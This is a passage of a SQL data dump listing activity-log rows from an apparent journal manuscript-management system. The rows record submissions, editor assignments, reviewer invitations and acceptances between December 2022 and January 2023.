form',13331,'Author',13536),(123795,'2022-12-17 11:17:28','Manuscript Updated',13315,'Publisher',376),(123796,'2022-12-17 11:17:56','Publisher has been Accepted Articles  article',13315,'Publisher',376),(123797,'2022-12-17 11:18:35','Publisher has been Accepted Articles  article',13325,'Publisher',376),(123798,'2022-12-17 11:31:14','Manuscript Updated',13319,'Publisher',319),(123799,'2022-12-17 11:31:27','Publisher has been Accepted Articles  article',13319,'Publisher',319),(123800,'2022-12-17 11:51:17','Manuscript Updated',13305,'Publisher',319),(123801,'2022-12-17 11:51:32','Publisher has been Accepted Articles  article',13305,'Publisher',319),(123802,'2022-12-17 11:51:33','Publisher has been Accepted Articles  article',13305,'Publisher',319),(123803,'2022-12-17 12:25:59','Manuscript Submitted by Author using Submission form',13332,'Author',13537),(123804,'2022-12-17 12:26:36','Publisher has been Assigned Editor',13298,'Publisher',984),(123805,'2022-12-17 12:28:31','Publisher has been Assigned Editor',13321,'Publisher',984),(123806,'2022-12-17 12:36:45','Publisher has been Assigned Editor',13323,'Publisher',984),(123807,'2022-12-17 12:36:59','Publisher has been Assigned Editor',13324,'Publisher',984),(123808,'2022-12-17 12:40:32','Publisher has been Assigned Editor',13326,'Publisher',984),(123809,'2022-12-17 12:43:00','Publisher has been Accepted Articles  article',13274,'Publisher',274),(123810,'2022-12-17 12:46:36','Publisher has been Accepted Articles  article',13307,'Publisher',984),(123811,'2022-12-17 12:47:06','Publisher has been Accepted Articles  article',13313,'Publisher',984),(123812,'2022-12-17 12:47:44','Manuscript Updated',13321,'Publisher',984),(123813,'2022-12-17 12:47:56','Manuscript Updated',13323,'Publisher',984),(123814,'2022-12-17 12:48:24','Publisher has been Accepted Articles  article',13303,'Publisher',319),(123815,'2022-12-17 12:49:29','Publisher has been Accepted Articles  article',13321,'Publisher',984),(123816,'2022-12-17 12:49:54','Publisher has been Accepted Articles  article',13323,'Publisher',984),(123817,'2022-12-17 13:07:36','Manuscript Submitted by Author using Submission form',13333,'Author',13538),(123818,'2022-12-17 13:40:59','Manuscript Submitted by Author using Submission form',13334,'Author',13539),(123819,'2022-12-19 09:32:40','Publisher has been Assigned Editor',13322,'Publisher',248),(123820,'2022-12-19 09:33:13','Publisher has Invited Reviewer',13322,'Publisher',248),(123821,'2022-12-19 09:33:17','Publisher has Invited Reviewer',13322,'Publisher',248),(123822,'2022-12-19 10:52:07','Manuscript Updated',13302,'Publisher',319),(123823,'2022-12-19 10:52:23','Publisher has been Accepted Articles  article',13302,'Publisher',319),(123824,'2022-12-19 12:23:22','Manuscript Submitted by Author using Submission form',13335,'Author',13540),(123825,'2022-12-19 13:17:26','Publisher has been Withdrawn  article',13318,'Publisher',1033),(123826,'2022-12-19 13:20:59','Manuscript Submitted by Author using Submission form',13336,'Author',13541),(123827,'2022-12-19 14:16:37','Manuscript Submitted by Author using Submission form',13337,'Author',13542),(123828,'2022-12-19 14:46:55','Publisher has been Accepted Articles  article',13296,'Publisher',984),(123829,'2022-12-19 14:47:11','Publisher has been Accepted Articles  article',13296,'Publisher',984),(123830,'2022-12-19 14:47:30','Publisher has been Accepted Articles  article',13298,'Publisher',984),(123831,'2022-12-19 14:47:49','Publisher has been Accepted Articles  article',13299,'Publisher',984),(123832,'2022-12-19 14:48:09','Publisher has been Accepted Articles  article',13300,'Publisher',984),(123833,'2022-12-19 14:49:17','Publisher has been Accepted Articles  article',13301,'Publisher',984),(123834,'2022-12-19 14:50:32','Publisher has been Accepted Articles  article',13324,'Publisher',984),(123835,'2022-12-19 15:19:46','Manuscript Submitted by Author using Submission form',13339,'Author',13544),(123836,'2022-12-19 15:57:57','Manuscript Submitted by Author using Submission form',13340,'Author',13545),(123837,'2022-12-20 09:58:42','Publisher has been Assigned Editor',13331,'Publisher',988),(123838,'2022-12-20 11:01:37','Manuscript Updated',13125,'Publisher',85),(123839,'2022-12-20 11:02:16','Manuscript Updated',13125,'Publisher',85),(123840,'2022-12-20 11:04:10','Editor has been Editor Decision Accepted article',13125,'Editor',1439),(123841,'2022-12-20 11:05:48','Publisher: Accept Notification has been sent to Author',13125,'Publisher',85),(123842,'2022-12-20 11:06:05','Publisher has been Accepted Articles  article',13125,'Publisher',85),(123843,'2022-12-20 13:08:34','Manuscript Submitted by Author using Submission form',13343,'Author',13548),(123844,'2022-12-20 13:27:03','Manuscript Submitted by Publisher',13344,'Publisher',984),(123845,'2022-12-20 13:36:36','Publisher has been Assigned Editor',13334,'Publisher',984),(123846,'2022-12-20 13:36:52','Publisher has been Assigned Editor',13333,'Publisher',984),(123847,'2022-12-20 13:37:11','Publisher has been Assigned Editor',13332,'Publisher',984),(123848,'2022-12-20 15:11:10','Publisher has been Assigned Editor',13335,'Publisher',984),(123849,'2022-12-20 15:12:19','Publisher has been Accepted Articles  article',13326,'Publisher',984),(123850,'2022-12-20 15:13:49','Publisher has been Accepted Articles  article',13332,'Publisher',984),(123851,'2022-12-20 15:14:24','Publisher has been Accepted Articles  article',13333,'Publisher',984),(123852,'2022-12-20 15:14:38','Publisher has been Accepted Articles  article',13333,'Publisher',984),(123853,'2022-12-20 15:14:59','Publisher has been Accepted Articles  article',13334,'Publisher',984),(123854,'2022-12-20 15:15:27','Publisher has been Accepted Articles  article',13335,'Publisher',984),(123855,'2022-12-20 17:29:54','Publisher has been Assigned Editor',13336,'Publisher',988),(123856,'2022-12-20 17:32:51','Publisher has been Assigned Editor',13339,'Publisher',1033),(123857,'2022-12-20 18:08:31','Publisher has been Assigned Editor',13337,'Publisher',1033),(123858,'2022-12-21 09:52:09','Publisher has been Assigned Editor',13340,'Publisher',248),(123859,'2022-12-21 11:05:59','Manuscript Submitted by Publisher',13345,'Publisher',75),(123860,'2022-12-21 11:08:04','Manuscript Submitted by Publisher',13346,'Publisher',75),(123861,'2022-12-21 11:09:59','Manuscript Submitted by Publisher',13347,'Publisher',75),(123862,'2022-12-21 11:11:57','Manuscript Submitted by Publisher',13348,'Publisher',75),(123863,'2022-12-21 13:38:33','Publisher has Invited Reviewer',13339,'Publisher',1033),(123864,'2022-12-21 13:38:38','Publisher has Invited Reviewer',13339,'Publisher',1033),(123865,'2022-12-21 13:39:00','Publisher has Invited Reviewer',13337,'Publisher',1033),(123866,'2022-12-21 13:39:05','Publisher has Invited Reviewer',13337,'Publisher',1033),(123867,'2022-12-21 13:39:27','Publisher has Invited Reviewer',13289,'Publisher',1033),(123868,'2022-12-21 13:39:31','Publisher has Invited Reviewer',13289,'Publisher',1033),(123869,'2022-12-21 13:41:12','Publisher has Invited Reviewer',13288,'Publisher',1033),(123870,'2022-12-21 13:41:17','Publisher has Invited Reviewer',13288,'Publisher',1033),(123871,'2022-12-21 13:41:48','Publisher has Invited Reviewer',13287,'Publisher',1033),(123872,'2022-12-21 13:41:53','Publisher has Invited Reviewer',13287,'Publisher',1033),(123873,'2022-12-22 09:45:15','Publisher has been Assigned Editor',13343,'Publisher',972),(123874,'2022-12-22 09:45:52','Publisher has Unassign Editor',13343,'Publisher',972),(123875,'2022-12-22 09:49:16','Publisher has Invited Reviewer',13343,'Publisher',972),(123876,'2022-12-22 09:49:20','Publisher has Invited Reviewer',13343,'Publisher',972),(123877,'2022-12-22 09:49:25','Publisher has Invited Reviewer',13343,'Publisher',972),(123878,'2022-12-22 09:49:30','Publisher has Invited Reviewer',13343,'Publisher',972),(123879,'2022-12-22 09:49:57','Publisher has Invited Reviewer',13343,'Publisher',972),(123880,'2022-12-22 09:50:02','Publisher has Invited Reviewer',13343,'Publisher',972),(123881,'2022-12-22 09:50:07','Publisher has Invited Reviewer',13343,'Publisher',972),(123882,'2022-12-22 09:50:11','Publisher has Invited Reviewer',13343,'Publisher',972),(123883,'2022-12-22 10:46:28','Manuscript Updated',13287,'Publisher',1033),(123884,'2022-12-22 10:46:54','Publisher has been Accepted Articles  article',13287,'Publisher',1033),(123885,'2022-12-22 10:47:04','Manuscript Updated',13287,'Publisher',1033),(123886,'2022-12-22 10:47:13','Manuscript Updated',13288,'Publisher',1033),(123887,'2022-12-22 10:47:42','Publisher has been Accepted Articles  article',13288,'Publisher',1033),(123888,'2022-12-22 10:47:50','Manuscript Updated',13288,'Publisher',1033),(123889,'2022-12-22 10:47:58','Manuscript Updated',13289,'Publisher',1033),(123890,'2022-12-22 10:48:15','Publisher has been Accepted Articles  article',13289,'Publisher',1033),(123891,'2022-12-22 10:48:24','Manuscript Updated',13289,'Publisher',1033),(123892,'2022-12-22 10:48:32','Manuscript Updated',13337,'Publisher',1033),(123893,'2022-12-22 10:49:01','Publisher has been Accepted Articles  article',13337,'Publisher',1033),(123894,'2022-12-22 10:49:10','Manuscript Updated',13337,'Publisher',1033),(123895,'2022-12-22 10:49:17','Manuscript Updated',13339,'Publisher',1033),(123896,'2022-12-22 10:49:37','Publisher has been Accepted Articles  article',13339,'Publisher',1033),(123897,'2022-12-22 10:49:44','Manuscript Updated',13339,'Publisher',1033),(123898,'2022-12-22 10:54:48','Publisher has been Accepted Articles  article',13338,'Publisher',319),(123899,'2022-12-22 10:54:50','Publisher has been Accepted Articles  article',13338,'Publisher',319),(123900,'2022-12-22 10:57:47','Publisher has Invited Reviewer',13308,'Publisher',248),(123901,'2022-12-22 10:57:52','Publisher has Invited Reviewer',13308,'Publisher',248),(123902,'2022-12-22 10:57:56','Publisher has Invited Reviewer',13308,'Publisher',248),(123903,'2022-12-22 10:58:39','Publisher has Invited Reviewer',13309,'Publisher',248),(123904,'2022-12-22 10:58:44','Publisher has Invited Reviewer',13309,'Publisher',248),(123905,'2022-12-22 10:58:49','Publisher has Invited Reviewer',13309,'Publisher',248),(123906,'2022-12-22 10:58:53','Publisher has Invited Reviewer',13309,'Publisher',248),(123907,'2022-12-22 10:59:46','Publisher has Invited Reviewer',13320,'Publisher',248),(123908,'2022-12-22 10:59:50','Publisher has Invited Reviewer',13320,'Publisher',248),(123909,'2022-12-22 10:59:55','Publisher has Invited Reviewer',13320,'Publisher',248),(123910,'2022-12-22 11:00:00','Publisher has Invited Reviewer',13320,'Publisher',248),(123911,'2022-12-22 11:01:35','Publisher has Invited Reviewer',13340,'Publisher',248),(123912,'2022-12-22 11:01:51','Publisher has Invited Reviewer',13340,'Publisher',248),(123913,'2022-12-22 11:01:57','Publisher has Invited Reviewer',13340,'Publisher',248),(123914,'2022-12-22 11:02:03','Publisher has Invited Reviewer',13340,'Publisher',248),(123915,'2022-12-22 11:02:09','Publisher has Invited Reviewer',13340,'Publisher',248),(123916,'2022-12-22 11:22:53','Publisher has Unassign Editor',13343,'Publisher',972),(123917,'2022-12-22 11:46:27','Editor has Accepted to review Manuscript',13343,'Editor',1786),(123918,'2022-12-22 11:46:36','Editor has been Editor Decision Accepted article',13343,'Editor',1786),(123919,'2022-12-22 11:49:28','Reviewer has submitted comments',13343,'Reviewer',10393),(123920,'2022-12-22 11:56:55','Reviewer has submitted comments',13343,'Reviewer',14071),(123921,'2022-12-22 11:57:56','Reviewer has submitted comments',13343,'Reviewer',17208),(123922,'2022-12-22 12:10:08','Manuscript Updated',13308,'Publisher',248),(123923,'2022-12-22 12:10:24','Publisher has been Accepted Articles  article',13308,'Publisher',248),(123924,'2022-12-22 12:27:35','Publisher has been Accepted Articles  article',13309,'Publisher',248),(123925,'2022-12-22 12:27:37','Publisher has been Accepted Articles  article',13309,'Publisher',248),(123926,'2022-12-22 13:26:06','Manuscript Updated',13320,'Publisher',248),(123927,'2022-12-22 13:26:23','Publisher has been Accepted Articles  article',13320,'Publisher',248),(123928,'2022-12-22 13:39:22','Manuscript Updated',13343,'Publisher',972),(123929,'2022-12-22 13:46:52','Publisher has Invited Reviewer',13331,'Publisher',988),(123930,'2022-12-22 13:46:56','Publisher has Invited Reviewer',13331,'Publisher',988),(123931,'2022-12-22 13:47:01','Publisher has Invited Reviewer',13331,'Publisher',988),(123932,'2022-12-22 13:47:06','Publisher has Invited Reviewer',13331,'Publisher',988),(123933,'2022-12-22 13:47:11','Publisher has Invited Reviewer',13331,'Publisher',988),(123934,'2022-12-22 13:47:43','Publisher has Invited Reviewer',13336,'Publisher',988),(123935,'2022-12-22 13:47:48','Publisher has Invited Reviewer',13336,'Publisher',988),(123936,'2022-12-22 13:47:52','Publisher has Invited Reviewer',13336,'Publisher',988),(123937,'2022-12-22 13:47:57','Publisher has Invited Reviewer',13336,'Publisher',988),(123938,'2022-12-22 13:48:02','Publisher has Invited Reviewer',13336,'Publisher',988),(123939,'2022-12-22 14:02:29','Manuscript Updated',13322,'Publisher',248),(123940,'2022-12-22 14:03:16','Publisher has been Accepted Articles  article',13322,'Publisher',248),(123941,'2022-12-22 14:03:17','Publisher has been Accepted Articles  article',13322,'Publisher',248),(123942,'2022-12-22 14:25:49','Publisher has been Accepted Articles  article',13340,'Publisher',248),(123943,'2022-12-22 14:54:05','Publisher: Accept Notification has been sent to Author',13343,'Publisher',972),(123944,'2022-12-23 10:08:54','Publisher has been Accepted Articles  article',13343,'Publisher',972),(123945,'2022-12-23 11:09:39','Reviewer has submitted comments',13280,'Reviewer',11353),(123946,'2022-12-23 13:18:00','Publisher has Invited Reviewer',13255,'Publisher',48),(123947,'2022-12-23 13:18:05','Publisher has Invited Reviewer',13255,'Publisher',48),(123948,'2022-12-23 13:18:10','Publisher has Invited Reviewer',13255,'Publisher',48),(123949,'2022-12-23 13:22:13','Reviewer has submitted comments',13255,'Reviewer',12532),(123950,'2022-12-23 13:22:42','Editor has Accepted to review Manuscript',13255,'Editor',194),(123951,'2022-12-23 13:22:51','Editor has been Editor Decision Accepted article',13255,'Editor',194),(123952,'2022-12-23 13:28:17','Publisher has been Accepted Articles  article',13255,'Publisher',48),(123953,'2022-12-24 12:59:10','Editor has Accepted to review Manuscript',13342,'Editor',221),(123954,'2022-12-24 12:59:23','Editor has been Editor Decision Accepted article',13342,'Editor',221),(123955,'2022-12-24 12:59:37','Editor has Accepted to review Manuscript',13268,'Editor',221),(123956,'2022-12-24 12:59:53','Editor has been Editor Decision Accepted article',13268,'Editor',221),(123957,'2022-12-24 13:00:01','Editor has Accepted to review Manuscript',13264,'Editor',221),(123958,'2022-12-24 13:01:24','Editor has Accepted to review Manuscript',13341,'Editor',222),(123959,'2022-12-24 13:01:49','Editor has been Editor Decision Accepted article',13341,'Editor',222),(123960,'2022-12-24 13:02:01','Editor has Accepted to review Manuscript',13270,'Editor',222),(123961,'2022-12-24 13:02:11','Editor has been Editor Decision Accepted article',13270,'Editor',222),(123962,'2022-12-24 13:03:54','Manuscript Updated',13264,'Publisher',84),(123963,'2022-12-24 13:04:11','Publisher has been Accepted Articles  article',13264,'Publisher',84),(123964,'2022-12-24 13:04:24','Manuscript Updated',13268,'Publisher',84),(123965,'2022-12-24 13:04:57','Publisher has been Accepted Articles  article',13268,'Publisher',84),(123966,'2022-12-24 13:05:34','Publisher has been Accepted Articles  article',13270,'Publisher',84),(123967,'2022-12-24 13:06:03','Publisher has been Accepted Articles  article',13341,'Publisher',84),(123968,'2022-12-24 13:06:33','Manuscript Updated',13342,'Publisher',84),(123969,'2022-12-24 13:06:44','Publisher has been Accepted Articles  article',13342,'Publisher',84),(123970,'2022-12-26 13:33:13','Manuscript Updated',13183,'Publisher',988),(123971,'2022-12-26 13:34:12','Editor has Accepted to review Manuscript',13190,'Editor',1783),(123972,'2022-12-26 13:34:18','Editor has Accepted to review Manuscript',13183,'Editor',1783),(123973,'2022-12-26 13:34:31','Editor has Accepted to review Manuscript',13331,'Editor',1783),(123974,'2022-12-26 13:35:17','Editor has Accepted to review Manuscript',13336,'Editor',1410),(123975,'2022-12-26 13:36:13','Publisher has been Accepted Articles  article',13183,'Publisher',988),(123976,'2022-12-26 13:36:36','Publisher has been Accepted Articles  article',13331,'Publisher',988),(123977,'2022-12-26 13:36:44','Manuscript Updated',13336,'Publisher',988),(123978,'2022-12-26 13:37:05','Publisher has been Accepted Articles  article',13336,'Publisher',988),(123979,'2022-12-26 13:37:14','Manuscript Updated',13336,'Publisher',988),(123980,'2022-12-26 13:37:29','Manuscript Updated',13183,'Publisher',988),(123981,'2022-12-26 13:40:01','Manuscript Submitted by Publisher',13349,'Publisher',75),(123982,'2022-12-26 14:14:55','Reviewer has submitted comments',13190,'Reviewer',18502),(123983,'2022-12-26 14:18:03','Manuscript Updated',13190,'Publisher',988),(123984,'2022-12-26 14:18:27','Publisher has been Accepted Articles  article',13190,'Publisher',988),(123985,'2022-12-26 14:18:34','Manuscript Updated',13190,'Publisher',988),(123986,'2022-12-28 10:33:21','Publisher has been Assigned Editor',13349,'Publisher',75),(123987,'2022-12-28 10:33:40','Publisher has been Assigned Editor',13348,'Publisher',75),(123988,'2022-12-28 10:33:53','Publisher has been Assigned Editor',13347,'Publisher',75),(123989,'2022-12-28 10:34:05','Publisher has been Assigned Editor',13345,'Publisher',75),(123990,'2022-12-28 10:45:08','Editor has Accepted to review Manuscript',13345,'Editor',161),(123991,'2022-12-28 10:45:13','Editor has Accepted to review Manuscript',13347,'Editor',161),(123992,'2022-12-28 10:45:17','Editor has Accepted to review Manuscript',13348,'Editor',161),(123993,'2022-12-28 10:45:21','Editor has Accepted to review Manuscript',13349,'Editor',161),(123994,'2022-12-28 10:45:29','Editor has been Editor Decision Accepted article',13345,'Editor',161),(123995,'2022-12-28 10:45:29','Editor has been Editor Decision Accepted article',13345,'Editor',161),(123996,'2022-12-28 10:45:37','Editor has been Editor Decision Accepted article',13347,'Editor',161),(123997,'2022-12-28 10:45:37','Editor has been Editor Decision Accepted article',13347,'Editor',161),(123998,'2022-12-28 10:45:45','Editor has been Editor Decision Accepted article',13348,'Editor',161),(123999,'2022-12-28 10:45:51','Editor has been Editor Decision Accepted article',13349,'Editor',161),(124000,'2022-12-28 10:46:36','Manuscript Updated',13345,'Publisher',75),(124001,'2022-12-28 10:46:57','Publisher has been Accepted Articles  article',13345,'Publisher',75),(124002,'2022-12-28 10:47:27','Manuscript Updated',13347,'Publisher',75),(124003,'2022-12-28 10:47:40','Publisher has been Accepted Articles  article',13347,'Publisher',75),(124004,'2022-12-28 10:48:07','Manuscript Updated',13348,'Publisher',75),(124005,'2022-12-28 10:48:19','Publisher has been Accepted Articles  article',13348,'Publisher',75),(124006,'2022-12-28 10:48:29','Manuscript Updated',13349,'Publisher',75),(124007,'2022-12-28 10:48:41','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124008,'2022-12-28 10:48:42','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124009,'2022-12-28 10:48:44','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124010,'2022-12-28 10:48:46','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124011,'2022-12-28 10:48:47','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124012,'2022-12-28 10:48:49','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124013,'2022-12-28 10:48:50','Publisher has been Accepted Articles  article',13349,'Publisher',75),(124014,'2022-12-28 11:10:20','Manuscript Submitted by Publisher',13351,'Publisher',376),(124015,'2022-12-28 11:21:22','Publisher: Accept Notification has been sent to Author',12822,'Publisher',85),(124016,'2022-12-28 11:21:43','Publisher has been Accepted Articles  article',12822,'Publisher',85),(124017,'2022-12-29 10:13:39','Publisher has been Assigned Editor',13350,'',1492),(124018,'2022-12-29 14:22:45','Manuscript Submitted by Author using Submission form',13352,'Author',13555),(124019,'2022-12-29 16:55:54','Manuscript Submitted by Publisher',13354,'Publisher',376),(124020,'2022-12-30 03:33:23','Manuscript Submitted by Author using Submission form',13355,'Author',13556),(124021,'2022-12-30 09:46:47','Manuscript Submitted by Author using Submission form',13356,'Author',13557),(124022,'2022-12-30 13:19:25','Manuscript Submitted by Publisher',13357,'Publisher',988),(124023,'2023-01-02 09:39:22','Publisher has been Assigned Editor',13357,'Publisher',988),(124024,'2023-01-02 09:39:59','Publisher has Invited Reviewer',13357,'Publisher',988),(124025,'2023-01-02 09:40:55','Publisher has Invited Reviewer',13357,'Publisher',988),(124026,'2023-01-02 09:40:59','Publisher has Invited Reviewer',13357,'Publisher',988),(124027,'2023-01-02 09:41:05','Publisher has Invited Reviewer',13357,'Publisher',988),(124028,'2023-01-02 09:41:10','Publisher has Invited Reviewer',13357,'Publisher',988),(124029,'2023-01-02 09:41:15','Publisher has Invited Reviewer',13357,'Publisher',988),(124030,'2023-01-02 09:41:20','Publisher has Invited Reviewer',13357,'Publisher',988),(124031,'2023-01-02 10:49:15','Reviewer has submitted comments',13357,'Reviewer',21475),(124032,'2023-01-02 10:49:27','Reviewer has submitted comments',13357,'Reviewer',21475),(124033,'2023-01-02 10:49:55','Reviewer has submitted comments',13357,'Reviewer',21475),(124034,'2023-01-02 10:51:01','Reviewer has submitted comments',13357,'Reviewer',21475),(124035,'2023-01-02 13:39:40','Publisher has been Assigned Editor',13351,'Publisher',376),(124036,'2023-01-02 14:30:46','Publisher has Invited Reviewer',13351,'Publisher',376),(124037,'2023-01-02 14:30:51','Publisher has Invited Reviewer',13351,'Publisher',376),(124038,'2023-01-02 14:30:56','Publisher has Invited Reviewer',13351,'Publisher',376),(124039,'2023-01-02 14:31:00','Publisher has Invited Reviewer',13351,'Publisher',376),(124040,'2023-01-02 14:31:05','Publisher has Invited Reviewer',13351,'Publisher',376),(124041,'2023-01-02 14:31:10','Publisher has Invited Reviewer',13351,'Publisher',376),(124042,'2023-01-02 14:39:26','Publisher has been Assigned Editor',13354,'Publisher',376),(124043,'2023-01-02 14:41:53','Publisher has Invited Reviewer',13354,'Publisher',376),(124044,'2023-01-02 14:41:59','Publisher has Invited Reviewer',13354,'Publisher',376),(124045,'2023-01-02 14:42:03','Publisher has Invited Reviewer',13354,'Publisher',376),(124046,'2023-01-02 14:42:09','Publisher has Invited Reviewer',13354,'Publisher',376),(124047,'2023-01-02 14:42:13','Publisher has Invited Reviewer',13354,'Publisher',376),(124048,'2023-01-02 14:42:18','Publisher has Invited Reviewer',13354,'Publisher',376),(124049,'2023-01-03 14:19:23','Manuscript Submitted by Author using Submission form',13358,'Author',13558),(124050,'2023-01-03 14:41:08','Publisher has been Assigned Editor',13353,'',1492),(124051,'2023-01-03 17:37:47','Publisher has Invited Reviewer',13357,'Publisher',988),(124052,'2023-01-03 17:37:52','Publisher has Invited Reviewer',13357,'Publisher',988),(124053,'2023-01-03 17:37:57','Publisher has Invited Reviewer',13357,'Publisher',988),(124054,'2023-01-03 17:38:01','Publisher has Invited Reviewer',13357,'Publisher',988),(124055,'2023-01-03 17:38:06','Publisher has Invited Reviewer',13357,'Publisher',988),(124056,'2023-01-03 17:38:11','Publisher has Invited Reviewer',13357,'Publisher',988),(124057,'2023-01-03 17:38:16','Publisher has Invited Reviewer',13357,'Publisher',988),(124058,'2023-01-03 17:58:27','Publisher has been Assigned Editor',3131,'',1491),(124059,'2023-01-04 11:43:05','Publisher has been Assigned Editor',13352,'Publisher',75),(124060,'2023-01-04 11:44:02','Publisher has Invited Reviewer',13352,'Publisher',75),(124061,'2023-01-04 11:44:06','Publisher has Invited Reviewer',13352,'Publisher',75),(124062,'2023-01-04 11:44:11','Publisher has Invited Reviewer',13352,'Publisher',75),(124063,'2023-01-04 11:44:16','Publisher has Invited Reviewer',13352,'Publisher',75),(124064,'2023-01-04 11:44:21','Publisher has Invited Reviewer',13352,'Publisher',75),(124065,'2023-01-04 13:45:54','Reviewer has submitted comments',13354,'Reviewer',7287),(124066,'2023-01-04 13:47:25','Reviewer has submitted comments',13354,'Reviewer',9133),(124067,'2023-01-04 13:48:10','Reviewer has submitted comments',13351,'Reviewer',9133),(124068,'2023-01-04 13:49:29','Reviewer has submitted comments',13351,'Reviewer',9134),(124069,'2023-01-04 13:50:49','Reviewer has submitted comments',13354,'Reviewer',9134),(124070,'2023-01-04 13:55:14','Reviewer has submitted comments',13351,'Reviewer',7286),(124071,'2023-01-04 13:56:13','Reviewer has submitted comments',13354,'Reviewer',7286),(124072,'2023-01-04 13:57:29','Editor has Accepted to review Manuscript',13354,'Editor',1705),(124073,'2023-01-04 13:57:43','Editor has been Editor Decision Accepted article',13354,'Editor',1705),(124074,'2023-01-04 13:58:37','Editor has Accepted to review Manuscript',13351,'Editor',1781),(124075,'2023-01-04 13:58:47','Editor has been Editor Decision Accepted article',13351,'Editor',1781),(124076,'2023-01-04 14:02:04','Publisher: Accept Notification has been sent to Author',13354,'Publisher',376),(124077,'2023-01-04 14:02:59','Publisher: Accept Notification has been sent to Author',13351,'Publisher',376),(124078,'2023-01-04 17:01:34','Publisher has been Assigned Editor',13356,'Publisher',248),(124079,'2023-01-04 17:01:49','Publisher has been Assigned Editor',13358,'Publisher',248),(124080,'2023-01-05 09:55:49','Manuscript Submitted by Publisher',13359,'',1212),(124081,'2023-01-06 09:43:09','Manuscript Submitted by Publisher',13360,'Publisher',48),(124082,'2023-01-06 09:57:17','Publisher has been Assigned Editor',13359,'',1212),(124083,'2023-01-06 10:53:21','Manuscript Submitted by Publisher',13361,'Publisher',85),(124084,'2023-01-06 10:56:32','Manuscript Submitted by Publisher',13362,'Publisher',85),(124085,'2023-01-06 11:05:23','Manuscript Submitted by Publisher',13364,'Publisher',85),(124086,'2023-01-06 14:53:38','Manuscript Submitted by Publisher',13365,'Publisher',75),(124087,'2023-01-07 10:16:29','Publisher has been Assigned Editor',13360,'Publisher',48),(124088,'2023-01-07 12:29:26','Publisher has been Assigned Editor',13364,'Publisher',85),(124089,'2023-01-07 12:29:40','Publisher has been Assigned Editor',13363,'Publisher',85),(124090,'2023-01-07 12:29:55','Publisher has been Assigned Editor',13362,'Publisher',85),(124091,'2023-01-07 12:32:04','Publisher has been Assigned Editor',13361,'Publisher',85),(124092,'2023-01-07 12:33:57','Manuscript Submitted by Publisher',13366,'Publisher',85),(124093,'2023-01-07 12:36:19','Manuscript Submitted by Publisher',13367,'Publisher',85),(124094,'2023-01-07 12:41:59','Manuscript Submitted by Publisher',13368,'Publisher',85),(124095,'2023-01-07 12:43:38','Manuscript Submitted by Publisher',13369,'Publisher',85),(124096,'2023-01-07 12:45:45','Manuscript Submitted by Publisher',13370,'Publisher',85),(124097,'2023-01-07 13:09:02','Manuscript Submitted by Author using Submission form',13371,'Author',13570),(124098,'2023-01-07 13:13:49','Manuscript Submitted by Author using Submission form',13372,'Author',13571),(124099,'2023-01-07 13:34:19','Manuscript Submitted by Author using Submission form',13374,'Author',13573),(124100,'2023-01-09 09:31:59','Publisher has been Assigned Editor',13365,'Publisher',75),(124101,'2023-01-09 10:13:27','Manuscript Submitted by Publisher',13375,'Publisher',75),(124102,'2023-01-09 10:46:24','Publisher: Accept Notification has been sent to Author',13354,'Publisher',376),(124103,'2023-01-09 13:14:47','Editor has been Editor Decision Accepted article',13149,'Editor',194),(124104,'2023-01-09 13:15:28','Publisher has been Accepted Articles  article',13149,'Publisher',48),(124105,'2023-01-09 14:32:27','Manuscript Submitted by Publisher',13376,'Publisher',75),(124106,'2023-01-09 14:34:13','Manuscript Submitted by Publisher',13377,'Publisher',75),(124107,'2023-01-09 14:35:44','Manuscript Submitted by Publisher',13378,'Publisher',75),(124108,'2023-01-09 14:37:55','Manuscript Submitted by Publisher',13379,'Publisher',75),(124109,'2023-01-09 14:39:41','Manuscript Submitted by Publisher',13380,'Publisher',75),(124110,'2023-01-10 09:48:33','Manuscript Submitted by Author using Submission form',13381,'Author',13580),(124111,'2023-01-10 09:53:32','Manuscript Submitted by Author using Submission form',13382,'Author',13581),(124112,'2023-01-10 09:56:55','Manuscript Submitted by Author using Submission form',13383,'Author',13582),(124113,'2023-01-10 10:01:39','Manuscript Submitted by Author using Submission form',13384,'Author',13583),(124114,'2023-01-10 10:07:58','Manuscript Submitted by Author using Submission form',13385,'Author',13584),(124115,'2023-01-10 11:07:07','Manuscript Updated',13361,'Publisher',85),(124116,'2023-01-10 11:07:36','Publisher has been Accepted Articles  article',13361,'Publisher',85),(124117,'2023-01-10 11:07:50','Manuscript Updated',13361,'Publisher',85),(124118,'2023-01-10 11:08:04','Manuscript Updated',13362,'Publisher',85),(124119,'2023-01-10 11:08:17','Publisher has been Accepted Articles  article',13362,'Publisher',85),(124120,'2023-01-10 11:08:55','Manuscript Updated',13362,'Publisher',85),(124121,'2023-01-10 11:09:12','Manuscript Updated',13363,'Publisher',85),(124122,'2023-01-10 11:22:28','Manuscript Updated',13364,'Publisher',85),(124123,'2023-01-10 11:22:44','Publisher has been Accepted Articles  article',13364,'Publisher',85),(124124,'2023-01-10 11:24:13','Publisher has been Accepted Articles  article',13363,'Publisher',85),(124125,'2023-01-10 11:24:49','Manuscript Updated',13363,'Publisher',85),(124126,'2023-01-10 11:34:10','Manuscript Submitted by Publisher',13391,'Publisher',645),(124127,'2023-01-10 11:36:32','Manuscript Submitted by Publisher',13392,'Publisher',645),(124128,'2023-01-10 11:38:13','Manuscript Submitted by Publisher',13393,'Publisher',645),(124129,'2023-01-10 11:43:19','Manuscript Submitted by Publisher',13394,'Publisher',645),(124130,'2023-01-10 11:46:48','Manuscript Submitted by Publisher',13395,'Publisher',48),(124131,'2023-01-10 12:14:40','Manuscript Submitted by Author using Submission form',13396,'Author',13590),(124132,'2023-01-10 12:16:20','Manuscript Submitted by Author using Submission form',13397,'Author',13591),(124133,'2023-01-10 13:42:41','Manuscript Submitted by Author using Submission form',13398,'Author',13592),(124134,'2023-01-10 13:49:46','Manuscript Submitted by Author using Submission form',13399,'Author',13593),(124135,'2023-01-10 14:09:20','Manuscript Submitted by Author using Submission form',13400,'Author',13594),(124136,'2023-01-10 14:11:33','Manuscript Submitted by Author using Submission form',13401,'Author',13595),(124137,'2023-01-10 15:04:38','Manuscript Updated',13354,'Publisher',376),(124138,'2023-01-10 15:04:56','Manuscript Updated',13351,'Publisher',376),(124139,'2023-01-10 15:05:31','Publisher has been Accepted Articles  article',13354,'Publisher',376),(124140,'2023-01-10 15:05:59','Publisher 